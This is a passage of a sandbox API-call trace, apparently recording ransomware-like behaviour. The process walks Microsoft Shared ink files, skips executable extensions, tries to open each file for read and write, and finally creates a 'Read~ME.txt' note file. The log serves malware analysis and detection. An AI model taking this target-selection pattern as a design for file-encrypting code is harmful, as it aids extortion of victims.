	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.397] lstrlenW (lpString=".cpl") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.397] lstrlenW (lpString=".sys") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.397] lstrlenW (lpString=".msc") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.397] lstrlenW (lpString=".com") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.397] lstrlenW (lpString=".lnk") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.397] lstrlenW (lpString=".msp") returned 4
	[0078.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.398] lstrlenW (lpString=".pif") returned 4
	[0078.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.398] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0078.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.422] RtlWakeConditionVariable () returned 0x365f70
	[0078.430] GetCurrentThreadId () returned 0xaf0
	[0078.430] GetCurrentThreadId () returned 0xaf0
	[0078.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0078.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39caf8 | out: hHeap=0x300000) returned 1
	[0078.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5d08
	[0078.435] lstrlenW (lpString=".scr") returned 4
	[0078.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".scr") returned 0x0
	[0078.443] lstrlenW (lpString=".cmd") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".cmd") returned 0x0
	[0078.443] lstrlenW (lpString=".dll") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".dll") returned 0x0
	[0078.443] lstrlenW (lpString=".bat") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".bat") returned 0x0
	[0078.443] lstrlenW (lpString=".cpl") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".cpl") returned 0x0
	[0078.443] lstrlenW (lpString=".sys") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".sys") returned 0x0
	[0078.443] lstrlenW (lpString=".msc") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".msc") returned 0x0
	[0078.443] lstrlenW (lpString=".com") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".com") returned 0x0
	[0078.443] lstrlenW (lpString=".lnk") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".lnk") returned 0x0
	[0078.443] lstrlenW (lpString=".msp") returned 4
	[0078.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".msp") returned 0x0
	[0078.443] lstrlenW (lpString=".pif") returned 4
	[0078.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch=".pif") returned 0x0
	[0078.444] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0078.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.444] RtlWakeConditionVariable () returned 0x365f70
	[0078.444] GetCurrentThreadId () returned 0xaf0
	[0078.444] GetCurrentThreadId () returned 0xaf0
	[0078.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0078.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2ee0 | out: hHeap=0x300000) returned 1
	[0078.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cbd8 | out: hHeap=0x300000) returned 1
	[0078.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0078.444] lstrlenW (lpString=".scr") returned 4
	[0078.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".scr") returned 0x0
	[0078.444] lstrlenW (lpString=".cmd") returned 4
	[0078.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".cmd") returned 0x0
	[0078.444] lstrlenW (lpString=".dll") returned 4
	[0078.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".dll") returned 0x0
	[0078.445] lstrlenW (lpString=".bat") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".bat") returned 0x0
	[0078.445] lstrlenW (lpString=".cpl") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".cpl") returned 0x0
	[0078.445] lstrlenW (lpString=".sys") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".sys") returned 0x0
	[0078.445] lstrlenW (lpString=".msc") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".msc") returned 0x0
	[0078.445] lstrlenW (lpString=".com") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".com") returned 0x0
	[0078.445] lstrlenW (lpString=".lnk") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".lnk") returned 0x0
	[0078.445] lstrlenW (lpString=".msp") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".msp") returned 0x0
	[0078.445] lstrlenW (lpString=".pif") returned 4
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch=".pif") returned 0x0
	[0078.445] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0078.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0078.447] RtlWakeConditionVariable () returned 0x365f70
	[0078.447] GetCurrentThreadId () returned 0xaf0
	[0078.447] GetCurrentThreadId () returned 0xaf0
	[0078.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0078.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa528 | out: hHeap=0x300000) returned 1
	[0078.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc10 | out: hHeap=0x300000) returned 1
	[0078.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0078.448] lstrlenW (lpString=".scr") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".scr") returned 0x0
	[0078.448] lstrlenW (lpString=".cmd") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".cmd") returned 0x0
	[0078.448] lstrlenW (lpString=".dll") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".dll") returned 0x0
	[0078.448] lstrlenW (lpString=".bat") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".bat") returned 0x0
	[0078.448] lstrlenW (lpString=".cpl") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".cpl") returned 0x0
	[0078.448] lstrlenW (lpString=".sys") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".sys") returned 0x0
	[0078.448] lstrlenW (lpString=".msc") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".msc") returned 0x0
	[0078.448] lstrlenW (lpString=".com") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".com") returned 0x0
	[0078.448] lstrlenW (lpString=".lnk") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".lnk") returned 0x0
	[0078.448] lstrlenW (lpString=".msp") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".msp") returned 0x0
	[0078.448] lstrlenW (lpString=".pif") returned 4
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch=".pif") returned 0x0
	[0078.448] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0078.491] RtlWakeConditionVariable () returned 0x365f70
	[0078.492] GetCurrentThreadId () returned 0xaf0
	[0078.492] GetCurrentThreadId () returned 0xaf0
	[0078.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5d40 | out: hHeap=0x300000) returned 1
	[0078.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cfc8 | out: hHeap=0x300000) returned 1
	[0078.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5d40
	[0078.492] lstrlenW (lpString=".scr") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".scr") returned 0x0
	[0078.492] lstrlenW (lpString=".cmd") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".cmd") returned 0x0
	[0078.492] lstrlenW (lpString=".dll") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".dll") returned 0x0
	[0078.492] lstrlenW (lpString=".bat") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".bat") returned 0x0
	[0078.492] lstrlenW (lpString=".cpl") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".cpl") returned 0x0
	[0078.492] lstrlenW (lpString=".sys") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".sys") returned 0x0
	[0078.492] lstrlenW (lpString=".msc") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".msc") returned 0x0
	[0078.492] lstrlenW (lpString=".com") returned 4
	[0078.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".com") returned 0x0
	[0078.493] lstrlenW (lpString=".lnk") returned 4
	[0078.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".lnk") returned 0x0
	[0078.493] lstrlenW (lpString=".msp") returned 4
	[0078.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".msp") returned 0x0
	[0078.493] lstrlenW (lpString=".pif") returned 4
	[0078.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch=".pif") returned 0x0
	[0078.493] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5d40 | out: hHeap=0x300000) returned 1
	[0078.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.506] RtlWakeConditionVariable () returned 0x365f70
	[0078.506] GetCurrentThreadId () returned 0xaf0
	[0078.506] GetCurrentThreadId () returned 0xaf0
	[0078.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ea30 | out: hHeap=0x300000) returned 1
	[0078.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0a8 | out: hHeap=0x300000) returned 1
	[0078.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.507] lstrlenW (lpString=".scr") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".scr") returned 0x0
	[0078.507] lstrlenW (lpString=".cmd") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".cmd") returned 0x0
	[0078.507] lstrlenW (lpString=".dll") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".dll") returned 0x0
	[0078.507] lstrlenW (lpString=".bat") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".bat") returned 0x0
	[0078.507] lstrlenW (lpString=".cpl") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".cpl") returned 0x0
	[0078.507] lstrlenW (lpString=".sys") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".sys") returned 0x0
	[0078.507] lstrlenW (lpString=".msc") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".msc") returned 0x0
	[0078.507] lstrlenW (lpString=".com") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".com") returned 0x0
	[0078.507] lstrlenW (lpString=".lnk") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".lnk") returned 0x0
	[0078.507] lstrlenW (lpString=".msp") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".msp") returned 0x0
	[0078.507] lstrlenW (lpString=".pif") returned 4
	[0078.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch=".pif") returned 0x0
	[0078.508] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.529] RtlWakeConditionVariable () returned 0x365f70
	[0078.529] GetCurrentThreadId () returned 0xaf0
	[0078.530] GetCurrentThreadId () returned 0xaf0
	[0078.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5d40
	[0078.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6020 | out: hHeap=0x300000) returned 1
	[0078.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6128 | out: hHeap=0x300000) returned 1
	[0078.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6020
	[0078.530] lstrlenW (lpString=".scr") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".scr") returned 0x0
	[0078.530] lstrlenW (lpString=".cmd") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".cmd") returned 0x0
	[0078.530] lstrlenW (lpString=".dll") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".dll") returned 0x0
	[0078.530] lstrlenW (lpString=".bat") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".bat") returned 0x0
	[0078.530] lstrlenW (lpString=".cpl") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".cpl") returned 0x0
	[0078.530] lstrlenW (lpString=".sys") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".sys") returned 0x0
	[0078.530] lstrlenW (lpString=".msc") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".msc") returned 0x0
	[0078.530] lstrlenW (lpString=".com") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".com") returned 0x0
	[0078.530] lstrlenW (lpString=".lnk") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".lnk") returned 0x0
	[0078.530] lstrlenW (lpString=".msp") returned 4
	[0078.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".msp") returned 0x0
	[0078.531] lstrlenW (lpString=".pif") returned 4
	[0078.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch=".pif") returned 0x0
	[0078.531] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6020 | out: hHeap=0x300000) returned 1
	[0078.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5d40 | out: hHeap=0x300000) returned 1
	[0078.546] RtlWakeConditionVariable () returned 0x365f70
	[0078.546] GetCurrentThreadId () returned 0xaf0
	[0078.546] GetCurrentThreadId () returned 0xaf0
	[0078.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5d40
	[0078.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6190 | out: hHeap=0x300000) returned 1
	[0078.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6208 | out: hHeap=0x300000) returned 1
	[0078.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6190
	[0078.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
